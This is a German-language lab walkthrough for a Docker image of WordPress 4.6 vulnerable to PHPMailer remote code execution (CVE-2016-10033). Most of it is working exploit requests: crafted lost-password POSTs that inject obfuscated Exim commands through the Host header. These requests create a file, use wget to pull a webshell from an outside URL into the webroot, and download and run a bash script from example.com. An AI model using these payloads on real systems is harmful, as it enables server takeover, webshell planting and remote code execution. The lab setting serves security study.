
Docker-basierte Laborumgebung für WordPress <= 4.6 Remote-Code-Ausführung via PHPMailer (CVE-2016-10033), einschließlich PoC, Webshell-Upload und Reverse-Shell-Payloads.
WordPress ist eine Blog-Plattform, die in PHP entwickelt wurde. Benutzer können auf Servern, die PHP und MySQL-Datenbanken unterstützen, ihre eigenen Websites einrichten. WordPress kann auch als Content-Management-System (CMS) verwendet werden. WordPress verwendet die PHPMailer-Komponente, um E-Mails an Benutzer zu senden. PHPMailer (Version < 5.2.18) weist eine Schwachstelle zur Remote-Befehlsausführung auf, bei der ein Angreifer lediglich eine bösartige E-Mail-Adresse geschickt konstruieren muss, um beliebige Dateien zu schreiben und so eine Remote-Befehlsausführung zu erreichen.
WordPress <= 4.6
| Typ | Benutzername | Passwort |
|---|---|---|
| Mysql | root | root |
| /wp-admin/ | admin | admin123 |
$ docker pull medicean/vulapps:w_wordpress_6
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
Die
-p 8000:80Die erste 8000 steht für den Port des physischen Rechners, der frei gewählt werden kann.
Greife auf http://127.0.0.1:8000 zu. Wenn die WordPress-Hauptseite erscheint, war der Start erfolgreich.
Angenommen, die Zieladresse ist: http://127.0.0.1:8000/
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
Wenn der zurückgegebene Statuscode 200 ist, bedeutet dies, dass die Datei /var/www/html/vuln erfolgreich erstellt wurde.
Vor dem Senden des Pakets kann diese Adresse aufgerufen werden, es erscheint ein 404.
Idee: Erstelle eine Textdatei auf einem entfernten HTTP-Server und lade sie mit wget auf das Ziel herunter.
Wenn man bereits Befehle ausführen kann, wozu dann noch eine WebShell hochladen?
/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php
Hinweis:
- Die entfernte URL darf kein
http://enthalten.- Alle Buchstaben müssen klein geschrieben sein.
- Alle
/durch${substr{0}{1}{$spool_directory}}ersetzen.- Alle Leerzeichen durch
${substr{10}{1}{$tod_log}}ersetzen.
Die Nachricht lautet wie folgt (ersetze user_login je nach Situation, Standard ist admin):
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
Wenn der Inhalt der entfernten Textdatei ein Bash-Skript ist, kann die Datei nach dem Herunterladen auf das Ziel direkt mit /bin/bash ausgeführt werden.
/usr/bin/wget --output-document /tmp/rce example.com/1.txt
/bin/bash /tmp/rce